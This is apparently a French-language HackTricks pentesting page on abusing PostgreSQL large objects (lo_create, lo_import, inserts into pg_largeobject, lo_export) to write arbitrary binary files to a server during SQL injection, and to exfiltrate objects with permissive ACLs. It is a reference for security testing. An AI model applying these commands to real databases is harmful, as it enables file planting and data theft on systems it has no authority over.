hacktricks/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

66 lines
3.8 KiB
Markdown

{{#include ../../../banners/hacktricks-training.md}}
### Objets volumineux PostgreSQL
PostgreSQL offre une structure connue sous le nom de **grands objets**, accessible via la table `pg_largeobject`, conçue pour stocker de grands types de données, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet **l'exportation des données vers le système de fichiers**, garantissant qu'une réplique exacte du fichier original est maintenue.
Pour **stocker un fichier complet** dans cette table, un objet doit être créé dans la table `pg_largeobject` (identifié par un LOID), suivi de l'insertion de morceaux de données, chacun de 2 Ko, dans cet objet. Il est crucial que ces morceaux soient exactement de 2 Ko (à l'exception possible du dernier morceau) pour garantir que la fonction d'exportation fonctionne correctement.
Pour **diviser vos données binaires** en morceaux de 2 Ko, les commandes suivantes peuvent être exécutées :
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Pour encoder chaque fichier en Base64 ou Hex, les commandes ci-dessous peuvent être utilisées :
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Important**: Lors de l'automatisation de ce processus, assurez-vous d'envoyer des morceaux de 2 Ko de bytes en texte clair. Les fichiers encodés en hex nécessiteront 4 Ko de données par morceau en raison du doublement de taille, tandis que les fichiers encodés en Base64 suivent la formule `ceil(n / 3) * 4`.
Le contenu des grands objets peut être consulté à des fins de débogage en utilisant :
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Utilisation de `lo_creat` & Base64
Pour stocker des données binaires, un LOID est d'abord créé :
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
Dans des situations nécessitant un contrôle précis, comme l'exploitation d'une Blind SQL Injection, `lo_create` est préféré pour spécifier un LOID fixe.
Les morceaux de données peuvent ensuite être insérés comme suit :
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
Pour exporter et potentiellement supprimer l'objet volumineux après utilisation :
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Utilisation de `lo_import` & Hex
La fonction `lo_import` peut être utilisée pour créer et spécifier un LOID pour un objet volumineux :
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Après la création de l'objet, les données sont insérées par page, en veillant à ce que chaque morceau ne dépasse pas 2 Ko :
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
Pour compléter le processus, les données sont exportées et l'objet volumineux est supprimé :
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Limitations
Il est noté que **les objets volumineux peuvent avoir des ACL** (Listes de Contrôle d'Accès), restreignant potentiellement l'accès même aux objets créés par votre utilisateur. Cependant, les objets plus anciens avec des ACL permissives peuvent encore être accessibles pour l'exfiltration de contenu.
{{#include ../../../banners/hacktricks-training.md}}